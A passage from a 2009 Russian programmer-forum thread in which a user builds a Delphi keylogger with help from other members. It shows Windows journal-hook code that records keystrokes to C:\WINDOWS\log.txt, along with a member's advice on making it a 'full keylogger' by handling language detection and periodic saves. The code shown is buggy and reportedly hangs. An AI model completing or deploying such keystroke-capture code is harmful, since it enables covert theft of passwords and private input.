Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 29.09.2009, 17:36   #21
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Такими методами никогда и ничего работать не будет.
Компоненты не знают о существовании своих обработчиков и поэтому ни FormCreate ни FormClose не выполняются.

Ну и чтобы провериь допиши ShowMesagge('True'); в FormCreate....
И убедтсь, что эта функция не отработает.
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 29.09.2009, 18:04   #22
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

Цитата:
Сообщение от Вавел из ГМТУ Посмотреть сообщение
Такими методами никогда и ничего работать не будет.
Компоненты не знают о существовании своих обработчиков и поэтому ни FormCreate ни FormClose не выполняются.

Ну и чтобы провериь допиши ShowMesagge('True'); в FormCreate....
И убедтсь, что эта функция не отработает.
вот теперь заработал..мне просто надо было в объектном инспекторе тоже щелкать по форм клоуз и форм крейт)))теперь он пишет все что я нажимаю в мемо....может теперь и с сохранением в файл поможет мне))))извиняюсь конечно
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 18:09   #23
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
По умолчанию

Цитата:
Сообщение от betirsolt Посмотреть сообщение
вот теперь заработал..мне просто надо было в объектном инспекторе тоже щелкать по форм клоуз и форм крейт)))теперь он пишет все что я нажимаю в мемо....может теперь и с сохранением в файл поможет мне))))извиняюсь конечно
Весело однако но для полноценного кейлогера из этой грушки нужно хотябы ловить какой язык активен на данный момент и оставлять или делать транслитерацию с англ на рус.
Далее поспрошать у умных людей или найти самому сколько символов умеет кушать TMemo и периодически сохранять содержимое в файл и очищать memo .
Сохранять - просто
Код:
Memo1.lines.savetofile('путь к файлу');
Lime вне форума Ответить с цитированием
Старый 29.09.2009, 18:32   #24
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

вот что у меня получилось#

Код:
var c:array[0..255] of char;
 s:string;
    nScan:integer;
    f:textfile;
begin
Assign(f,'C:\WINDOWS\log.txt');
  if FileExists('C:\WINDOWS\log.txt') then
  Append(f) else Rewrite(f);
 if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin
  nScan:=hibyte((teventmsg(pointer(lparam)^).paramL));
  nscan:=nscan shl 16;
  GetKeyNameText(nScan,c,256);

if length(s)=1 then
begin
 Writeln(f,c);
  CloseFile(f);
 Form1.Memo1.Lines.Text:=Form1.Memo1.Lines.Text+c
end
но когда запускаю страшно виснет винда и потом показывает ошибку I/O error 32.....лог файл создает но ничего не записывает ни в мемо ни в лог
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 30.09.2009 в 16:40.
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 18:34   #25
Alex Cones
Trust no one.
Старожил
 
Аватар для Alex Cones
 
Регистрация: 07.04.2009
Сообщений: 6,526
По умолчанию

F7 тебе в помощь.
SQUARY PROJECT - НАБОР БЕСПЛАТНЫХ ПРОГРАММ ДЛЯ РАБОЧЕГО СТОЛА.
МОЙ БЛОГ
GRAY FUR FRAMEWORK - УДОБНАЯ И БЫСТРАЯ РАЗРАБОТКА WINAPI ПРИЛОЖЕНИЙ
Alex Cones вне форума Ответить с цитированием
Старый 29.09.2009, 19:15   #26
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

OMG...

Не засовывай в эту функцию ничего такого.. Она выполняется ПОСТОЯННО.

Неудивительно, что зависло.
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 29.09.2009, 23:02   #27
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

я не совсем понимаю((((что и где я не правильно сделал исправьте и объясните пожалуйста
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны
betirsolt вне форума Ответить с цитированием
Старый 29.09.2009, 23:54   #28
Вавел из ГМТУ
Форумчанин
 
Регистрация: 19.06.2009
Сообщений: 896
По умолчанию

Ты сначала разберись как работает исходный код, а потом уже модифицируй.
Вавел из ГМТУ вне форума Ответить с цитированием
Старый 30.09.2009, 14:59   #29
betirsolt
Форумчанин
 
Регистрация: 20.07.2009
Сообщений: 421
По умолчанию

ну вот я и не могу разобраться... например вот этот промежуток я не понимаю
код:

Код:
if (code>=0)and(teventmsg(pointer(lpar am)^).message=wm_keydown) then begin
nScan:=hibyte((teventmsg(pointer(lp aram)^).paramL));
nscan:=nscan shl 16;
GetKeyNameText(nScan,c,256);
if length(s)=1 then

кто нибудь объясните пожалуйста,буду очень благодарен

я вот так пытался переделать но показывает ошибку

код:
procedure TForm1.FormCreate(Sender: TObject);
begin
Assign(f,'C:\WINDOWS\log.txt');
  if FileExists('C:\WINDOWS\log.txt') then
  Append(f) else Rewrite(f);
  form1.Memo1.Lines.SaveToFile(f);
 h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0);

end;
Уважаемые модераторы, Я всячески стараюсь не нарушать правила сайта, будьте снисходительны

Последний раз редактировалось Stilet; 05.10.2009 в 09:42.
betirsolt вне форума Ответить с цитированием
Старый 30.09.2009, 16:34   #30
Lime
Форумчанин
 
Аватар для Lime
 
Регистрация: 10.02.2009
Сообщений: 815
По умолчанию

http://programmersforum.ru/showpost....0&postcount=23
Lime вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
:::Keylogger::: doniyor Общие вопросы Delphi 15 02.03.2012 19:56
keylogger DeDoK Общие вопросы Delphi 15 06.06.2010 00:15
Keylogger, проблемы andreibtzt Win Api 9 05.06.2010 17:51
обновление в блоге - Клавиатурный шпион. Pblog Обсуждение статей 0 27.05.2007 03:17